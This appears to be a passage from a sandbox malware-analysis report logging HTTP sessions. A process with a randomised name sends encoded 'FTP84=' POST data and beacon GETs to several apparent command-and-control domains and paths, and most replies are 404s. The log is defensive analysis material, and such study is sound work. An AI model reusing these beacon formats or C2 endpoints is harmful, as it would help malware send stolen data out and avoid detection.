62 79 42 59 64 43 46 48 37 53 4c 68 59 61 55 53 7a 39 76 44 5a 61 67 4a 6d 72 58 58 65 44 63 6f 2f 35 2b 75 66 6d 43 6d 41 55 48 78 79 63 56 4c 34 4a 77 3d 3d Data Ascii: FTP84=Zzxl2CcNcJg6BFdQpfm6LLfh3VSTT2kiiiPlYS0ZmQQh1MorXHdf+UjasVGcZBk1r7L+1+tKzSRWH4imB1WGxGm8IT67sr/1A+AAoaatOglLs4oFL1V4LmccK2slRLF5jn2lSe0pY+GfdMa1SlbSEf1gb4Sh10nbyBYdCFH7SLhYaUSz9vDZagJmrXXeDco/5+ufmCmAUHxycVL4Jw==
Jul 1, 2024 19:24:08.160142899 CEST	879	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:24:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jul 2024 17:24:08 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T%2Bymy%2F47YGKLuptjPc%2FFtTMCiL0eKvE%2FXL5LAyiNqSylVIdQ75P1qZj%2Fn2%2FuMx8L%2FyZakR5RNjWL1ayG5NGMsnmZuQ13AszDw2N3jmPLkeVcQZ2wVqFf5dq%2B%2BOjOTFjxateKfBbP5zEklg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c8167d49c43342-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	64457	172.67.194.145	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:24:10.023534060 CEST	757	OUT	POST /ym7q/ HTTP/1.1 Host: www.foryourhealth19.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.foryourhealth19.com Referer: http://www.foryourhealth19.com/ym7q/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 5a 7a 78 6c 32 43 63 4e 63 4a 67 36 41 6c 74 51 72 2f 61 36 65 37 66 67 30 56 53 54 47 47 6b 6d 69 69 44 6c 59 58 56 47 6e 6d 41 68 32 74 59 72 57 47 64 66 7a 30 6a 61 6b 31 47 5a 45 78 6b 79 72 37 48 4d 31 2f 52 4b 7a 53 74 57 48 35 2b 6d 55 57 2b 5a 7a 57 6d 36 54 6a 36 6c 78 37 2f 31 41 2b 41 41 6f 61 4f 48 4f 67 39 4c 73 49 59 46 4c 55 56 37 56 32 63 66 61 6d 73 6c 56 4c 45 77 6a 6e 32 39 53 66 70 47 59 39 75 66 64 4a 2b 31 53 77 33 52 4f 66 31 69 47 49 54 47 34 48 58 55 30 6a 49 6e 49 45 50 46 4c 37 64 50 57 43 50 52 6e 4e 50 31 45 78 78 64 76 56 7a 6f 55 36 31 4b 37 2f 71 48 72 67 53 68 4c 77 55 59 52 48 71 38 66 4e 74 37 39 62 6e 78 6f 37 65 4e 41 53 6c 71 54 56 42 64 4c 7a 73 3d Data Ascii: FTP84=Zzxl2CcNcJg6AltQr/a6e7fg0VSTGGkmiiDlYXVGnmAh2tYrWGdfz0jak1GZExkyr7HM1/RKzStWH5+mUW+ZzWm6Tj6lx7/1A+AAoaOHOg9LsIYFLUV7V2cfamslVLEwjn29SfpGY9ufdJ+1Sw3ROf1iGITG4HXU0jInIEPFL7dPWCPRnNP1ExxdvVzoU61K7/qHrgShLwUYRHq8fNt79bnxo7eNASlqTVBdLzs=
Jul 1, 2024 19:24:10.762649059 CEST	875	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:24:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jul 2024 17:24:10 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EwCJnTv%2BJ2biJChg1%2FB6iIHYzJ348OvD9GWQ1GQCOOGCaZ6dMPc5i%2FbooNLIBx4Dp%2BDBT%2FWK1fCZhWkEGZUG9Y4bzJ2TxVjW41YdaqQMaVpqB69hi4z0d2R2hvV%2FwfDVPZ%2FnV5IalID3xg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c8168d9de61861-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh
Jul 1, 2024 19:24:10.763577938 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	64458	172.67.194.145	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:24:12.554569006 CEST	1770	OUT	POST /ym7q/ HTTP/1.1 Host: www.foryourhealth19.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.foryourhealth19.com Referer: http://www.foryourhealth19.com/ym7q/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 5a 7a 78 6c 32 43 63 4e 63 4a 67 36 41 6c 74 51 72 2f 61 36 65 37 66 67 30 56 53 54 47 47 6b 6d 69 69 44 6c 59 58 56 47 6e 6d 49 68 31 65 51 72 51 68 78 66 79 30 6a 61 6c 31 47 59 45 78 6c 75 72 37 65 46 31 2f 64 77 7a 58 70 57 46 62 32 6d 46 48 2b 5a 36 57 6d 36 62 44 36 6b 73 72 2f 67 41 2b 51 45 6f 61 65 48 4f 67 39 4c 73 4c 41 46 43 6c 56 37 58 32 63 63 4b 32 73 58 52 4c 45 59 6a 6e 4f 48 53 66 74 73 59 4e 4f 66 64 6f 43 31 51 43 50 52 54 50 31 38 46 49 54 65 34 48 61 55 30 6a 6b 42 49 45 37 76 4c 38 35 50 53 55 53 30 30 5a 62 70 56 67 4e 37 68 47 2f 39 5a 62 52 72 37 4a 6d 6e 70 68 69 77 44 48 6b 78 4a 48 57 52 52 35 30 72 6d 6f 7a 65 77 71 43 48 52 57 51 36 50 48 52 34 53 6c 44 34 68 7a 61 4a 61 4a 4f 76 49 39 73 45 6a 41 54 70 6d 69 67 6a 69 43 6a 73 30 37 63 41 49 61 72 32 76 74 7a 49 6f 57 73 59 2f 47 68 53 31 61 4e 6f 41 38 61 6d 67 6e 42 47 4b 6d 70 2f 35 4d 68 42 30 4b 6b 4d 66 6d 56 63 45 4d 69 31 34 52 32 43 71 6c 37 57 4c 67 49 61 62 56 71 39 5a 4d 30 70 78 79 57 6f [TRUNCATED] Data Ascii: FTP84=Zzxl2CcNcJg6AltQr/a6e7fg0VSTGGkmiiDlYXVGnmIh1eQrQhxfy0jal1GYExlur7eF1/dwzXpWFb2mFH+Z6Wm6bD6ksr/gA+QEoaeHOg9LsLAFClV7X2ccK2sXRLEYjnOHSftsYNOfdoC1QCPRTP18FITe4HaU0jkBIE7vL85PSUS00ZbpVgN7hG/9ZbRr7JmnphiwDHkxJHWRR50rmozewqCHRWQ6PHR4SlD4hzaJaJOvI9sEjATpmigjiCjs07cAIar2vtzIoWsY/GhS1aNoA8amgnBGKmp/5MhB0KkMfmVcEMi14R2Cql7WLgIabVq9ZM0pxyWoHrMyLMVK16ytJ7dGwsrFGsgHLf9IACPEWwyk7WIcxGKzH8zLGF9g0NAy3+GovncGKzjJcWm37atry9rJSNIPuDjaf4wf9AvTLl5ZRLMaF9uwq6c63Ls3Og+jK9K+KLIX7h2f6JEArigdqD4sUTMuU9lMhnJI0604V2oou6EnOITQrLLh2BZqtW7f+XaxlonN25InalMJZPeBuo5IoeIkKaWinBinMgxb3VsHvu0XUKs6iSNRpbr0PxExOVh2pj3MaNuPvuY0fnLgbp3PB8pT6iuMpADsvsEDonWgdszXMM9rxak/McedTeZQWNesrAb9WjmQ4isTfHbXytKQasxVskd9NFrUFv4qVmONDLb9FBbTvl4u6uuvDC+VLaD2urgU0dAO3MlnvcCKGPymuFdI2VgR9R6Bmvr9rAs+RVe3YsFPVCJAqoCUPmW2Ro19mfEFfBi+4pGAcNmWRP+royfMDvF0kwFP5U9N3f1ybDfRngzmoo0qdTA6Hz/94kd0+qNzpb5sY1+FKj8pFJZ3AmK0lnycHzBSHOdK/upwXIEfvqnj+SgVAuP92X0im0LBjVJA1ygAggrrbWK+SiwFRTz5npcHDQSJP+ZKxddLwfcW0CBPuuq67i9T2duY88SNnPK5vHFEZJGBlPq6ppvhJFXySQxoAqG5tzRUxR [TRUNCATED]
Jul 1, 2024 19:24:13.251588106 CEST	871	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:24:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jul 2024 17:24:13 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FUWgQue1Wm10I2%2FTLrJbffBvm2P1%2BOCfmfZZKEyzgoWO4hPpLK5uA%2BIYJkt1N2U3McWZDjvv0r4VKG6i8MOVXYKa%2Br1KQn4HjtRUducmDTMxTD791UEuQFAvqRe4Ke%2BweDYlIMIsdElXUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c8169d1c67c323-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	64459	172.67.194.145	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:24:15.086308002 CEST	462	OUT	GET /ym7q/?Lb=GFtlIrHx8T50&FTP84=UxZF11kgGMhVJ3h1mYaBYZj5xwuySTV9/R2JXFp47AYwysMhWE1l+EvBnUyCPTtksKPA2Ite2ltCL7XTNGD56H2fTiCax6/BQq0vjYK7AyFfq6kTJWJKbnRCSHQhd4Mpl36RQO9kaMTf HTTP/1.1 Host: www.foryourhealth19.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:24:15.787378073 CEST	871	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:24:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jul 2024 17:24:15 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hIrZnvP848ss291UZKTCSye2pq7CFXqXPQ3nvJk9XoSkPw%2BdrfA7E6Hqw%2B90U0pfYlwibpFcomNac5WkjrGcmo5kFHunZxgsd%2Fs2F8%2B%2BqC64YzV7sL7309FaAQQVt%2B0%2BWtOKpF6JGvRFdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c816acecfc3300-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 39 33 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 93<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>
Jul 1, 2024 19:24:15.787462950 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	64460	38.55.194.30	80

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:24:29.472742081 CEST	710	OUT	POST /80eg/ HTTP/1.1 Host: www.86wqi.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.86wqi.cyou Referer: http://www.86wqi.cyou/80eg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 79 69 38 39 34 4e 47 39 6d 76 6a 68 63 75 73 63 47 7a 44 33 42 62 78 6a 71 4d 37 62 68 4d 68 44 6a 66 64 59 64 66 53 44 73 77 50 45 72 4d 73 68 49 63 57 47 41 4e 6b 6b 4a 73 51 63 43 78 4f 33 4f 56 45 6b 6f 33 51 44 6b 77 55 48 72 56 47 43 49 6d 39 56 43 33 7a 34 68 58 50 52 46 30 48 4b 39 6b 58 65 73 6a 52 50 49 79 5a 57 51 39 33 43 68 34 36 69 37 73 37 33 76 52 31 6f 4f 35 38 7a 66 77 70 6e 59 32 45 65 38 50 69 70 4c 32 59 37 4e 67 59 42 71 74 6b 73 45 66 31 5a 6a 6b 6c 6a 48 62 42 57 6f 69 56 47 2f 34 50 57 58 67 50 39 71 30 4d 77 6f 54 74 35 48 56 6f 69 32 46 79 61 6f 6e 51 75 6c 63 52 61 78 52 50 5a 76 4e 53 58 49 51 3d 3d Data Ascii: FTP84=yi894NG9mvjhcuscGzD3BbxjqM7bhMhDjfdYdfSDswPErMshIcWGANkkJsQcCxO3OVEko3QDkwUHrVGCIm9VC3z4hXPRF0HK9kXesjRPIyZWQ93Ch46i7s73vR1oO58zfwpnY2Ee8PipL2Y7NgYBqtksEf1ZjkljHbBWoiVG/4PWXgP9q0MwoTt5HVoi2FyaonQulcRaxRPZvNSXIQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	64461	38.55.194.30	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:24:32.010243893 CEST	730	OUT	POST /80eg/ HTTP/1.1 Host: www.86wqi.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.86wqi.cyou Referer: http://www.86wqi.cyou/80eg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 79 69 38 39 34 4e 47 39 6d 76 6a 68 54 75 38 63 56 45 76 33 56 4c 78 6b 68 73 37 62 6f 73 68 48 6a 65 68 59 64 61 72 47 73 6a 6e 45 79 73 38 68 50 64 57 47 46 4e 6b 6b 43 4d 51 54 66 42 4f 43 4f 56 42 54 6f 32 63 44 6b 77 51 48 72 55 32 43 49 57 42 57 45 6e 7a 32 75 33 50 70 4c 55 48 4b 39 6b 58 65 73 6e 78 70 49 79 68 57 51 74 6e 43 67 5a 36 6a 7a 4d 37 34 6d 78 31 6f 4b 35 38 2f 66 77 70 46 59 79 4d 30 38 4b 75 70 4c 30 51 37 4d 78 59 41 6b 74 6b 51 61 76 30 50 6e 31 56 73 49 62 39 50 6c 55 67 61 6c 59 2f 52 66 32 53 66 77 57 41 63 32 43 56 43 44 58 4d 55 68 6a 76 76 71 6d 55 32 6f 2b 6c 37 75 6d 71 7a 69 66 7a 54 65 6c 5a 70 4d 54 7a 6d 64 4b 62 76 63 72 65 2b 67 59 69 55 63 53 6b 3d Data Ascii: FTP84=yi894NG9mvjhTu8cVEv3VLxkhs7boshHjehYdarGsjnEys8hPdWGFNkkCMQTfBOCOVBTo2cDkwQHrU2CIWBWEnz2u3PpLUHK9kXesnxpIyhWQtnCgZ6jzM74mx1oK58/fwpFYyM08KupL0Q7MxYAktkQav0Pn1VsIb9PlUgalY/Rf2SfwWAc2CVCDXMUhjvvqmU2o+l7umqzifzTelZpMTzmdKbvcre+gYiUcSk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	64462	38.55.194.30	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:24:34.636476994 CEST	1743	OUT	POST /80eg/ HTTP/1.1 Host: www.86wqi.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.86wqi.cyou Referer: http://www.86wqi.cyou/80eg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 79 69 38 39 34 4e 47 39 6d 76 6a 68 54 75 38 63 56 45 76 33 56 4c 78 6b 68 73 37 62 6f 73 68 48 6a 65 68 59 64 61 72 47 73 6a 2f 45 79 2f 6b 68 4a 36 71 47 43 4e 6b 6b 50 73 51 51 66 42 4f 6c 4f 56 35 58 6f 32 68 38 6b 79 59 48 74 79 4b 43 44 45 6c 57 4e 6e 7a 32 32 48 50 53 46 30 47 51 39 6b 48 61 73 6a 64 70 49 79 68 57 51 6f 72 43 6d 49 36 6a 78 4d 37 33 76 52 31 30 4f 35 39 57 66 77 78 2f 59 79 41 4f 37 35 6d 70 49 55 41 37 50 44 77 41 37 64 6b 6f 62 76 30 48 6e 31 59 73 49 59 5a 70 6c 51 68 2f 6c 66 54 52 4d 54 33 66 6f 43 56 4b 76 7a 56 74 43 57 34 72 30 6c 36 63 6f 6b 6b 71 75 2f 46 44 7a 47 72 4d 36 74 37 67 65 6a 30 34 53 52 6a 5a 46 37 6e 63 63 66 33 33 6e 34 4f 6a 50 53 69 59 46 32 31 68 4c 59 45 2f 74 46 2f 74 30 54 36 78 32 63 37 6d 4d 36 52 70 6c 44 45 4b 4d 76 64 75 6d 69 37 68 36 48 66 6a 49 47 6e 52 2f 53 66 59 49 4a 48 4a 61 62 46 31 71 66 6d 72 33 4d 32 68 50 69 67 6f 59 48 4b 48 34 6c 4d 51 32 30 2b 2b 70 6b 47 64 37 7a 47 34 30 73 62 45 2f 53 61 36 56 33 66 68 [TRUNCATED] Data Ascii: FTP84=yi894NG9mvjhTu8cVEv3VLxkhs7boshHjehYdarGsj/Ey/khJ6qGCNkkPsQQfBOlOV5Xo2h8kyYHtyKCDElWNnz22HPSF0GQ9kHasjdpIyhWQorCmI6jxM73vR10O59Wfwx/YyAO75mpIUA7PDwA7dkobv0Hn1YsIYZplQh/lfTRMT3foCVKvzVtCW4r0l6cokkqu/FDzGrM6t7gej04SRjZF7nccf33n4OjPSiYF21hLYE/tF/t0T6x2c7mM6RplDEKMvdumi7h6HfjIGnR/SfYIJHJabF1qfmr3M2hPigoYHKH4lMQ20++pkGd7zG40sbE/Sa6V3fhBy0NCQK6D48mw06W0SjsCUlpa6CP91pUcWq/J8NTk5bIlnAp8sW0XKFAJQFiSMPhKp6jd8MhvvwMNk2GHp4IpewqVtnOBXWGFzjTVUx34uvJrVFibxVw1M+kUTnJGBCmLFtVDQoVt6GDa2HXQE3AeoX1O/6umqgQMxYzULz2vTQHGRJzCVFOiFFG9AJ4HQHKBwAr7oP9HOwdQvN9RK/4oVzbZIb128/pUPJIK2wn6bGM4lk0YinruCoeInb9uod0bKODoyW20vWQddZqZYYdB3snuecfXQZ56SKExMiXxPWsob6z1dJ95VKsYxZxYu9T0bKmYAGDv5gsW6eds99PV228a8ZCbsf/F3GLPeVA9/MTX8z/MVQuB+MPXDy3DIXkM8Ft67KwsUznm1OBjYGRvmGaIL3qKtv21d5bsQVcuR3QzPZFho4REe0UZQ0hxuBwn8ZB71C71E6rlhhGHALmzJM/ggkOgmIXYWQpSY/Gy2T6hAECv4FNYSPu0Me+MSeFq4V//XZqIUP1E/Bxt16UzDAvG6eOArjRv3IE/dqq0plxBuPWSbXxv5Nb3b39BXvxJXIdxhMZVvKQrF1IJM7ro1mH5JmI1Yhw/75+LE0rrX2Q6xZaux7fGHL+gc7cQSfDZLziMnUxT/3PYrC8t78wfUNQsy7TNp/USj [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	64463	38.55.194.30	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:24:37.172413111 CEST	453	OUT	GET /80eg/?Lb=GFtlIrHx8T50&FTP84=/gUd74TM946IZLQfFCjFFoMEh/bZ058Y5fxYbd7lsAuEu+8WJ/21FtYOGJlKUg3YeQ1lkwlhlDEwsFjwCVkjP3HgvWH+eFvT+Cr55kx1O3kSIIeygKzK78qTqiVgNqoEH3t5dFc0+pi4 HTTP/1.1 Host: www.86wqi.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	64464	46.30.215.51	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:03.784488916 CEST	740	OUT	POST /e5cg/ HTTP/1.1 Host: www.vivaepicmarbella.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.vivaepicmarbella.com Referer: http://www.vivaepicmarbella.com/e5cg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 7a 67 35 76 53 4f 79 48 45 42 73 52 6f 54 46 32 74 4c 4b 68 75 46 68 55 64 46 46 62 34 35 67 50 68 57 47 4b 5a 6c 55 61 76 34 49 53 33 69 78 79 71 69 59 79 38 57 53 45 64 77 6a 54 6b 33 53 7a 37 6f 41 72 4d 47 6d 5a 72 4f 63 58 30 45 53 6a 64 4e 78 34 4d 6d 59 6e 63 37 30 4c 5a 62 51 47 35 33 33 38 46 73 65 42 77 32 76 38 66 69 79 45 35 7a 6d 68 48 2f 30 34 67 61 37 2b 76 61 42 4e 63 5a 6c 76 43 71 49 54 50 71 63 4d 48 52 30 37 71 63 61 77 46 38 30 42 50 44 37 72 6b 39 38 68 4c 53 45 31 70 75 46 6e 65 77 43 41 6d 39 49 37 55 4a 61 52 76 75 2b 34 4f 35 52 54 52 4a 75 5a 64 50 6f 6d 33 48 79 4d 53 42 64 71 44 4a 73 56 42 51 3d 3d Data Ascii: FTP84=zg5vSOyHEBsRoTF2tLKhuFhUdFFb45gPhWGKZlUav4IS3ixyqiYy8WSEdwjTk3Sz7oArMGmZrOcX0ESjdNx4MmYnc70LZbQG5338FseBw2v8fiyE5zmhH/04ga7+vaBNcZlvCqITPqcMHR07qcawF80BPD7rk98hLSE1puFnewCAm9I7UJaRvu+4O5RTRJuZdPom3HyMSBdqDJsVBQ==
Jul 1, 2024 19:25:04.413290977 CEST	453	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:25:04 GMT Server: Apache Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 X-Onecom-Cluster-Name: X-Varnish: 18455855971 Age: 0 Via: 1.1 webcache2 (Varnish/trunk) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
